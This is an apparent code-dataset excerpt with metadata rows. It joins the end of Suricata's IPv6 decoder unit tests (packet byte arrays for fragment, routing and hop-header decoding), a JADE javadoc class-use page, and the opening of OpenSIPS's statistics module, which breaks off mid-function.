0x18, 0x1f, 0x00, 0x00, 0x01, 0x01, 0x08, 0x0a, 0xcd, 0xf9, 0x3a, 0x41, 0x00, 0x1a, 0x91, 0x8a,
0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31, 0x20, 0x32, 0x30, 0x30, 0x20, 0x4f, 0x4b, 0x0d,
0x0a, 0x44, 0x61, 0x74, 0x65, 0x3a, 0x20, 0x46, 0x72, 0x69, 0x2c, 0x20, 0x30, 0x32, 0x20, 0x44,
0x65, 0x63, 0x20, 0x32, 0x30, 0x31, 0x31, 0x20, 0x30, 0x38, 0x3a, 0x33, 0x32, 0x3a, 0x35, 0x37,
0x20, 0x47, 0x4d, 0x54, 0x0d, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x3a, 0x20, 0x41, 0x70,
0x61, 0x63, 0x68, 0x65, 0x0d, 0x0a, 0x43, 0x61, 0x63, 0x68, 0x65, 0x2d, 0x43, 0x6f, 0x6e, 0x74,
0x72, 0x6f, 0x6c, 0x3a, 0x20, 0x6e, 0x6f, 0x2d, 0x63, 0x61, 0x63, 0x68, 0x65, 0x0d, 0x0a, 0x50,
0x72, 0x61, 0x67, 0x6d, 0x61, 0x3a, 0x20, 0x6e, 0x6f, 0x2d, 0x63, 0x61, 0x63, 0x68, 0x65, 0x0d,
0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x3a, 0x20, 0x54, 0x68, 0x75, 0x2c, 0x20, 0x30,
0x31, 0x20, 0x4a, 0x61, 0x6e, 0x20, 0x31, 0x39, 0x37, 0x31, 0x20, 0x30, 0x30, 0x3a, 0x30, 0x30,
0x3a, 0x30, 0x30, 0x20, 0x47, 0x4d, 0x54, 0x0d, 0x0a, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
0x2d, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x3a, 0x20, 0x31, 0x35, 0x39, 0x39, 0x0d, 0x0a, 0x4b,
0x65, 0x65, 0x70, 0x2d, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x20, 0x74, 0x69, 0x6d, 0x65, 0x6f,
0x75, 0x74, 0x3d, 0x35, 0x2c, 0x20, 0x6d, 0x61, 0x78, 0x3d, 0x39, 0x39, 0x0d, 0x0a, 0x43, 0x6f,
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x20, 0x4b, 0x65, 0x65, 0x70, 0x2d, 0x41,
0x6c, 0x69, 0x76, 0x65, 0x0d, 0x0a, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2d, 0x54, 0x79,
0x70, 0x65, 0x3a, 0x20, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f,
0x6a, 0x61, 0x76, 0x61, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3b, 0x63, 0x68, 0x61, 0x72, 0x73,
0x65, 0x74, 0x3d, 0x61, 0x73, 0x63, 0x69, 0x69, 0x0d, 0x0a, 0x0d, 0x0a, 0x5f, 0x6a, 0x71, 0x6a,
0x73, 0x70, 0x28, 0x7b, 0x22, 0x69, 0x70, 0x22, 0x3a, 0x22, 0x32, 0x30, 0x30, 0x31, 0x3a, 0x39,
0x38, 0x30, 0x3a, 0x33, 0x32, 0x62, 0x32, 0x3a, 0x31, 0x3a, 0x32, 0x65, 0x34, 0x31, 0x3a, 0x33,
0x38, 0x66, 0x66, 0x3a, 0x66, 0x65, 0x61, 0x37, 0x3a, 0x65, 0x61, 0x65, 0x62, 0x22, 0x2c, 0x22,
0x74, 0x79, 0x70, 0x65, 0x22, 0x3a, 0x22, 0x69, 0x70, 0x76, 0x36, 0x22, 0x2c, 0x22, 0x73, 0x75,
0x62, 0x74, 0x79, 0x70, 0x65, 0x22, 0x3a, 0x22, 0x22, 0x2c, 0x22, 0x76, 0x69, 0x61, 0x22, 0x3a,
0x22, 0x22, 0x2c, 0x22, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x3a, 0x22, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
};
uint8_t raw_frag2[] = {
0x60, 0x0f, 0x1a, 0xcf, 0x00, 0x1c, 0x2c, 0x36, 0x20, 0x01, 0x04, 0x70, 0x00, 0x01, 0x00, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x20, 0x01, 0x09, 0x80, 0x32, 0xb2, 0x00, 0x01,
0x2e, 0x41, 0x38, 0xff, 0xfe, 0xa7, 0xea, 0xeb, 0x06, 0x00, 0x05, 0xa0, 0xdf, 0xf8, 0x11, 0xd7,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
};
Packet *pkt;
Packet *p1 = PacketGetFromAlloc();
if (unlikely(p1 == NULL))
return 0;
Packet *p2 = PacketGetFromAlloc();
if (unlikely(p2 == NULL)) {
SCFree(p1);
return 0;
}
ThreadVars tv;
DecodeThreadVars dtv;
int result = 0;
PacketQueue pq;
FlowInitConfig(FLOW_QUIET);
DefragInit();
memset(&pq, 0, sizeof(PacketQueue));
memset(&tv, 0, sizeof(ThreadVars));
memset(&dtv, 0, sizeof(DecodeThreadVars));
PacketCopyData(p1, raw_frag1, sizeof(raw_frag1));
PacketCopyData(p2, raw_frag2, sizeof(raw_frag2));
DecodeIPV6(&tv, &dtv, p1, GET_PKT_DATA(p1), GET_PKT_LEN(p1), &pq);
if (!(IPV6_EXTHDR_ISSET_FH(p1))) {
printf("ipv6 frag header not detected: ");
goto end;
}
DecodeIPV6(&tv, &dtv, p2, GET_PKT_DATA(p2), GET_PKT_LEN(p2), &pq);
if (!(IPV6_EXTHDR_ISSET_FH(p2))) {
printf("ipv6 frag header not detected: ");
goto end;
}
if (pq.len != 1) {
printf("no reassembled packet: ");
goto end;
}
result = 1;
end:
PACKET_RECYCLE(p1);
PACKET_RECYCLE(p2);
SCFree(p1);
SCFree(p2);
pkt = PacketDequeue(&pq);
while (pkt != NULL) {
PACKET_RECYCLE(pkt);
SCFree(pkt);
pkt = PacketDequeue(&pq);
}
DefragDestroy();
FlowShutdown();
return result;
}
/**
* \test routing header decode
*/
static int DecodeIPV6RouteTest01 (void)
{
uint8_t raw_pkt1[] = {
0x60, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x2b, 0x40,
0x20, 0x01, 0xaa, 0xaa, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0x20, 0x01, 0xaa, 0xaa, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb2, 0xed, 0x00, 0x50, 0x1b, 0xc7, 0x6a, 0xdf,
0x00, 0x00, 0x00, 0x00, 0x50, 0x02, 0x20, 0x00,
0xfa, 0x87, 0x00, 0x00,
};
Packet *p1 = PacketGetFromAlloc();
if (unlikely(p1 == NULL))
return 0;
ThreadVars tv;
DecodeThreadVars dtv;
int result = 0;
PacketQueue pq;
FlowInitConfig(FLOW_QUIET);
memset(&pq, 0, sizeof(PacketQueue));
memset(&tv, 0, sizeof(ThreadVars));
memset(&dtv, 0, sizeof(DecodeThreadVars));
PacketCopyData(p1, raw_pkt1, sizeof(raw_pkt1));
DecodeIPV6(&tv, &dtv, p1, GET_PKT_DATA(p1), GET_PKT_LEN(p1), &pq);
if (!(IPV6_EXTHDR_ISSET_RH(p1))) {
printf("ipv6 routing header not detected: ");
goto end;
}
if (p1->ip6eh.ip6_exthdrs[0].len != 8) {
printf("ipv6 routing length incorrect: ");
goto end;
}
result = 1;
end:
PACKET_RECYCLE(p1);
SCFree(p1);
FlowShutdown();
return result;
}
/**
* \test HOP header decode
*/
static int DecodeIPV6HopTest01 (void)
{
uint8_t raw_pkt1[] = {
0x60,0x00,0x00,0x00,0x00,0x20,0x00,0x01,0xfe,0x80,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x0f,0xfe,0xff,0xfe,0x98,0x3d,0x01,0xff,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x3a,0x00,0x05,0x02,0x00,0x00,0x00,0x00,
0x82,0x00,0x1c,0x6f,0x27,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
Packet *p1 = PacketGetFromAlloc();
if (unlikely(p1 == NULL))
return 0;
ThreadVars tv;
DecodeThreadVars dtv;
int result = 0;
PacketQueue pq;
FlowInitConfig(FLOW_QUIET);
memset(&pq, 0, sizeof(PacketQueue));
memset(&tv, 0, sizeof(ThreadVars));
memset(&dtv, 0, sizeof(DecodeThreadVars));
PacketCopyData(p1, raw_pkt1, sizeof(raw_pkt1));
DecodeIPV6(&tv, &dtv, p1, GET_PKT_DATA(p1), GET_PKT_LEN(p1), &pq);
if (!(IPV6_EXTHDR_ISSET_HH(p1))) {
printf("ipv6 routing header not detected: ");
goto end;
}
if (p1->ip6eh.ip6_exthdrs[0].len != 8) {
printf("ipv6 routing length incorrect: ");
goto end;
}
if (ENGINE_ISSET_EVENT(p1, IPV6_HOPOPTS_UNKNOWN_OPT)) {
printf("engine event IPV6_HOPOPTS_UNKNOWN_OPT set: ");
goto end;
}
result = 1;
end:
PACKET_RECYCLE(p1);
SCFree(p1);
FlowShutdown();
return result;
}
#endif /* UNITTESTS */
/**
* \brief this function registers unit tests for IPV6 decoder
*/
void DecodeIPV6RegisterTests(void)
{
#ifdef UNITTESTS
UtRegisterTest("DecodeIPV6FragTest01", DecodeIPV6FragTest01, 1);
UtRegisterTest("DecodeIPV6RouteTest01", DecodeIPV6RouteTest01, 1);
UtRegisterTest("DecodeIPV6HopTest01", DecodeIPV6HopTest01, 1);
#endif /* UNITTESTS */
}
/**
* @}
*/
|
Brainiarc7/oisf
|
src/decode-ipv6.c
|
C
|
gpl-2.0
| 40,841
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="it">
<head>
<!-- Generated by javadoc (version 1.7.0_03) on Tue Dec 09 10:56:13 CET 2014 -->
<title>Uses of Class jade.content.schema.VariableSchema (JADE v4.3.3 API)</title>
<meta name="date" content="2014-12-09">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class jade.content.schema.VariableSchema (JADE v4.3.3 API)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../jade/content/schema/VariableSchema.html" title="class in jade.content.schema">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?jade/content/schema/\class-useVariableSchema.html" target="_top">Frames</a></li>
<li><a href="VariableSchema.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Class jade.content.schema.VariableSchema" class="title">Uses of Class<br>jade.content.schema.VariableSchema</h2>
</div>
<div class="classUseContainer">No usage of jade.content.schema.VariableSchema</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../jade/content/schema/VariableSchema.html" title="class in jade.content.schema">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?jade/content/schema/\class-useVariableSchema.html" target="_top">Frames</a></li>
<li><a href="VariableSchema.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small><center>These are the official <i><a href=http://jade.tilab.com target=top>JADE</a></i> API. For these API backward compatibility is guaranteed accross JADE versions</center></small></p>
</body>
</html>
|
LeeboyOver9000/TCC
|
doc/api/jade/content/schema/class-use/VariableSchema.html
|
HTML
|
gpl-2.0
| 4,421
|
/*
* Copyright (C) 2006 Voice Sistem SRL
* Copyright (C) 2010-2012 OpenSIPS Solutions
*
* This file is part of opensips, a free SIP server.
*
* opensips is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* opensips is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
*
* History:
* ---------
* 2006-01-16 first version (bogdan)
* 2006-11-28 added get_stat_var_from_num_code() (Jeffrey Magder -
* SOMA Networks)
* 2009-04-23 function var accepts a context parameter (bogdan)
* 2012-09-21 support for dynamic statistics (created of demand at runtime)
* (bogdan)
*/
/*!
* \file
* \brief Statistics support
*/
#include <string.h>
#include "mem/shm_mem.h"
#include "mi/mi.h"
#include "ut.h"
#include "dprint.h"
#include "locking.h"
#include "core_stats.h"
#include "statistics.h"
#include "pt.h"
#include "atomic.h"
#include "globals.h"
#include "rw_locking.h"
#ifdef STATISTICS
static stats_collector *collector = NULL;
static int stats_ready;
static struct mi_root *mi_get_stats(struct mi_root *cmd, void *param);
static struct mi_root *mi_list_stats(struct mi_root *cmd, void *param);
static struct mi_root *mi_reset_stats(struct mi_root *cmd, void *param);
static mi_export_t mi_stat_cmds[] = {
{ "get_statistics",
"prints the statistics (all, group or one) realtime values.",
mi_get_stats, 0 , 0, 0 },
{ "list_statistics",
"lists all the registered statistics and their types",
mi_list_stats, 0 , 0, 0 },
{ "reset_statistics", "resets the value of a statistic variable",
mi_reset_stats, 0 , 0, 0 },
{ 0, 0, 0, 0, 0, 0}
};
#ifdef NO_ATOMIC_OPS
#warning STATISTICS: Architecture with no support for atomic operations. \
Using Locks!!
gen_lock_t *stat_lock = 0;
#endif
#define stat_hash(_s) core_hash( _s, 0, STATS_HASH_SIZE)
/*! \brief
* Returns the statistic associated with 'numerical_code' and 'out_codes'.
* Specifically:
*
* - if out_codes is nonzero, then the stat_var for the number of messages
* _sent out_ with the 'numerical_code' will be returned if it exists.
* - otherwise, the stat_var for the number of messages _received_ with the
* 'numerical_code' will be returned, if the stat exists.
*/
stat_var *get_stat_var_from_num_code(unsigned int numerical_code, int out_codes)
{
static char msg_code[INT2STR_MAX_LEN+4];
str stat_name;
stat_name.s = int2bstr( (unsigned long)numerical_code, msg_code,
&stat_name.len);
stat_name.s[stat_name.len++] = '_';
if (out_codes) {
stat_name.s[stat_name.len++] = 'o';
stat_name.s[stat_name.len++] = 'u';
stat_name.s[stat_name.len++] = 't';
} else {
stat_name.s[stat_name.len++] = 'i';
stat_name.s[stat_name.len++] = 'n';
}
return get_stat(&stat_name);
}
char *build_stat_name( str* prefix, char *var_name)
{
int n;
char *s;
char *p;
n = prefix->len + 1 + strlen(var_name) + 1;
s = (char*)shm_malloc( n );
if (s==0) {
LM_ERR("no more shm mem\n");
return 0;
}
memcpy( s, prefix->s, prefix->len);
p = s + prefix->len;
*(p++) = '-';
memcpy( p , var_name, strlen(var_name));
p += strlen(var_name);
*(p++) = 0;
return s;
}
unsigned int calc_udp_load(void *val)
{
return ( get_stat_val((stat_var*)val) * 100) / *((int*)(((stat_var*)val)+1));
}
unsigned int calc_tcp_load(void *val)
{
return ( get_stat_val((stat_var*)val) * 100)/tcp_children_no;
}
int register_udp_load_stat(str *name, stat_var **s, int children)
{
char *stat_name;
/* in a single mem chunk, we put both the stat variable and the
number of children for this UDP interface */
*s = shm_malloc(sizeof(stat_var) + sizeof(int));
if (!*s) {
LM_ERR("no more shm\n");
return -1;
}
memset(*s,0,sizeof(stat_var));
*((int*)((*s)+1)) = children;
(*s)->u.val = shm_malloc(sizeof(stat_val));
if (!(*s)->u.val) {
LM_ERR("no more shm\n");
return -1;
}
memset((*s)->u.val,0,sizeof(stat_val));
if ( (stat_name = build_stat_name(name,"load")) == 0 ||
register_stat2("load",stat_name,(stat_var**)calc_udp_load,
STAT_IS_FUNC, *s, 0) != 0) {
LM_ERR("failed to add load stat\n");
return -1;
}
return 0;
}
int register_tcp_load_stat(stat_var **s)
{
*s = shm_malloc(sizeof(stat_var));
if (!*s) {
LM_ERR("no more shm\n");
return -1;
}
memset(*s,0,sizeof(stat_var));
(*s)->u.val = shm_malloc(sizeof(stat_val));
if (!(*s)->u.val) {
LM_ERR("no more shm\n");
return -1;
}
memset((*s)->u.val,0,sizeof(stat_val));
if (register_stat2("load","tcp-load",(stat_var**)calc_tcp_load,
STAT_IS_FUNC, *s, 0) != 0) {
LM_ERR("failed to add load stat\n");
return -1;
}
return 0;
}
/************* Functions for handling MODULEs(groups) of stats ***************/
static inline module_stats* get_stat_module( str *module)
{
int i;
if ( (module==0) || module->s==0 || module->len==0 )
return 0;
for( i=0 ; i<collector->mod_no ; i++ ) {
if ( (collector->amodules[i].name.len == module->len) &&
(strncasecmp(collector->amodules[i].name.s,module->s,module->len)==0) )
return &collector->amodules[i];
}
return 0;
}
#define add_stat_module(module) \
__add_stat_module(module, 0)
static inline module_stats* __add_stat_module( char *module, int unsafe)
{
